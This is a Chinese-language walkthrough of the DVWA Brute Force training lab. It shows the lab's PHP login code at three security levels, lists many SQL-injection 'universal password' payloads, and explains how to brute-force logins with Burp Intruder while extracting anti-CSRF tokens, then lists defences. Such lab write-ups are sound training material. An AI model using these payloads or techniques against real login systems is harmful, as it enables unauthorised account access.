DVWA Brute Force(暴力破解)通关

文章目录


前言

Brute Force即为暴力破解,通过枚举获取管理员的账号和密码,在实际的操作中,一般用来破解后台管理系统的登录。


0x01、Low Security Level

view source查看源码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

get到username和password,然后传入数据库进行比较,直接用burp爆破:admin/password
DVWA Brute Force(暴力破解)通关
DVWA Brute Force(暴力破解)通关
万能密码登陆也可以
DVWA Brute Force(暴力破解)通关

            万能密码

我们常说的 ’or’=’or’万能密码原理:

SQL语句sql=”select * from user where username=’”&username&”‘and pass=’”& pass&’” ,当我们用户名和密码都填写’or’=’or’提交的时候,即此时语句中的username和pass都等于’or’=’or’,那么,这条SQL语句就变成了:sql=”select * from user where username=”or’ ‘=”and pass=”or’ ‘=” ,自然也就通过了程序的验证

无论查询语句怎么写我们所输入的内容都是要被单引号引起来的,那么我们现在尝试利用这样的特点来构造新的“万能密码”登录

首先我们需要在密码的最前面有一个单引号,来闭合SQL语句中的单引号,然后构造一个or,也就是或者,或者怎么样我们才能通过验证呢?当然最简单的就是1=1,所以由此我们构造出新的密码:‘or ‘1’=’1。为什么密码的最后面少了一个单引号呢?这是同样为了使SQL语句不出错,是来闭合程序中的SQL语句的后面的单引号的,如果我们在后面再加上一个单引号的话就会出错了

asp aspx万能密码
       1:”or “a”=”a
       2: ‘)or(‘a’=’a
       3:or 1=1–
       4:’or 1=1–
       5:a’or’ 1=1–
       6:”or 1=1–
       7:’or’a’=’a
       8:”or”=”a’=’a
       9:’or”=’
       10:’or’=’or’
       11: 1 or ‘1’=’1’=1
       12: 1 or ‘1’=’1’ or 1=1
       13: ‘OR 1=1%00
       14: “or 1=1%00
       15: ‘xor
       16: 用户名 ’ UNION Select 1,1,1 FROM admin Where ”=’ (替换表名admin)
密码 1
       17…admin’ or ‘a’=’a 密码随便

PHP万能密码
       ‘or 1=1/*
       User: something
       Pass: ’ OR ‘1’=’1

jsp 万能密码

       1’or’1’=’1
       admin’ OR 1=1/*

0x02、Medium Security Level

查看源码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

与low相比,medium:

1、对传过来的值,使用了 mysql_real_escape_string() 函数进行转义
2、使用了 sleep(2) 函数,如果密码错误,则延时两秒响应。

也使用爆破(速度变慢)
DVWA Brute Force(暴力破解)通关

0x03、High Security Level

查看源码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

每次发送的时候,都带上了一个 user_token,每次发送请求的时候 user_token 都是会变的,而 user_token 是来自于上一个数据包的。

代码加入了token,可以抵御CSRF攻击,同时也增加了爆破的难度。
burp爆破
1、选择鱼叉模式
DVWA Brute Force(暴力破解)通关
2、设置线程数为1DVWA Brute Force(暴力破解)通关3、重定向选择总是
DVWA Brute Force(暴力破解)通关
4、Grep-Extract模板,点击add,设置筛选条件,得到user_token
DVWA Brute Force(暴力破解)通关

DVWA Brute Force(暴力破解)通关
5、为选择的参数设置字典
DVWA Brute Force(暴力破解)通关
开始攻击
从该方法我们就可以知道,增加token验证机制并不能防止暴力破解攻击,因为token可以在前端获取,这样防范措施就无效了,照样可以传参进行暴力破解。

0x04、防范

1、对登陆失败的情况做一些处理,比如失败次数超过一定数量,则锁定账号或者ip一段时间。
2、设置安全的验证码
3、使用Token+验证码一起使用,这样可以防止csrf攻击。
4、限制登录之间的时间限制(例如两次登录之间必须间隔10秒)

上一篇:mysql分表技术(学习心得)


下一篇:中国B2B行业将进入后平台时代